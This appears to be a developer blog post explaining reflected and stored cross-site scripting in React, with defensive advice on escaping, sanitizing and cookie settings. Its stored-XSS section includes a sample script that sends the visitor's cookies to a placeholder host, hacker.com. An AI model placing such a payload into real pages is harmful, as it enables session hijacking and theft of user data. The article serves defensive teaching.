- read

Dangers of Cross-Site Scripting in React

Alen Vlahovljak 33

Delving into the stealthy realm of Cross-site scripting threats

Dangers of Cross-Site Scripting in React

Alen Vlahovljak
JavaScript in Plain English
4 min read1 day ago


Two bullet surveillance cameras attached on wall
Photo by Scott Webb on Unsplash

“Amateurs hack systems, professionals hack people.” - Bruce Schneier, the creator of Blowfish

React, though secure, is not infallible. It’s essential to comprehend and counter XSS vulnerabilities since scripting seeks to manipulate websites by deploying harmful JavaScript, often with the intent to steal sensitive data or act on behalf of users without their knowledge.

React offers built-in protection, yet understanding its limitations is crucial. Generally, XSS attacks come in three forms: injecting malicious scripts; reflected XSS through links, and DOM-based XSS.

We’re going to delve into the intricacies of two formidable cyber threats: reflected XSS, a swift client-side attack, and stored XSS, a stealthy server-side infiltrator.

Reflected Cors-site scripting

A reflected cross-site scripting attack occurs when the injected script is ‘reflected’ from the web server, for instance, in an error message, search result, or any other response that incorporates some or all of the input sent to the server.

Let’s walk through an example of a reflected cross-site scripting attack (e.g., a search bar whose content is embedded inside the HTML body):

  1. The attacker creates a URL embedded with malicious JavaScript code (e.g., www.example.com?search=<script type=”text/javascript”>alert('Danger!');</script>`).
  2. This manipulated URL is then dispatched to the victim (e.g., via email).
  3. Upon clicking the link, the victim initiates a request to the website with a security weakness (accessing the site www.example.com).
  4. The website, unsuspectingly, injects the malicious script found in the URL parameter into the HTML (adding the script from the URL to the HTML of www.example.com).
  5. The victim’s browser, upon receiving the server’s response, executes the embedded malicious script (triggering a pop-up with the message “Danger!”).

This was a common case in the past when we worked with vanilla JavaScript, as content from the input was sometimes not sanitized. Luckily, React has its mechanism for sanitizing, which is the use of curly braces that will escape the content inside them:

<input value={search} onChange={(e) => setValue(e.target.value)} />
<div>You searched for: {results}</div>
{/* Without sanitizer */}
<div dangerouslySetInnerHTML={{ __html: `You searched for: ${results}` }} />

Sometimes using dangerouslySetInnerHTML is required, for example, when we need to display embedded HTML code within our app. In such cases, using a library to sanitize the code before applying it to this prop is a must.

The goals of this attack include stealing sensitive information, such as credentials, session tokens, and cookies containing valuable data.

To enhance protection, we should:

  • consistently escape content, given the untrustworthiness of user input;
  • utilize CSP to define permissible scripts for browser execution;
  • regularly update libraries;
  • exercise caution when integrating third-party components;
  • refrain from utilizing inline scripts;
  • conduct regular penetration testing;
  • stay informed through continuous learning.

Stored Cors-site scripting

Cross-site scripting can also be called persistent XSS. This attack can also result from a successful reflected XSS, where an attacker leaves a harmful script on the website. Subsequently, whenever someone visits the site with a specific trigger, it can invoke the execution of this script.

Here are the steps for a stored cross-site scripting (XSS) attack:

  1. The attacker injects malicious script code into the web application (e.g., via submitting a form, posting a comment, or uploading a file).
  2. The injected script is stored on the server, typically in a database or another persistent storage (e.g., <script>var img=new Image();img.src='https://hacker.com/steal?cookie='+document.cookie;</script>).
  3. The user visits a specific page on the website where the injected script resides (e.g., www.example.com/blogs/1).
  4. The script, already stored on the server, runs in the context of the user’s browser.
  5. The executed script can perform various malicious actions, such as stealing sensitive information or redirecting the user to a phishing site.

This was a common approach to stealing data back in the day when many blogs didn’t use sanitisers, allowing users to post malicious scripts. As we already know, curly braces are a safe approach in React to sanitize the content if the initial defence fails (if the script passes validation).

The goal of this attack is the same as reflected XSS: to steal data, especially cookies containing sensitive information. However, it’s far more dangerous, as it can be done without the user’s awareness. In this case, we can suffer the consequences because of security flaws in the website.

To protect ourselves, we need to:

  • utilize the same techniques for protection against reflected XSS;
  • use the HTTP-only attribute with cookies;
  • use anti-forgery tokens;
  • avoid using input as HTML or JavaScript-like content if it’s unnecessary;
  • utilize a Web Application Firewall (WAF);
  • regularly review and monitor stored data.

Reflected XSS is like a cyber fireworks show, exploding instantly when triggered, while stored XSS is akin to a silent time bomb, with the malicious payload waiting patiently in the shadows until activated.

In Plain English

Thank you for being a part of our community! Before you go: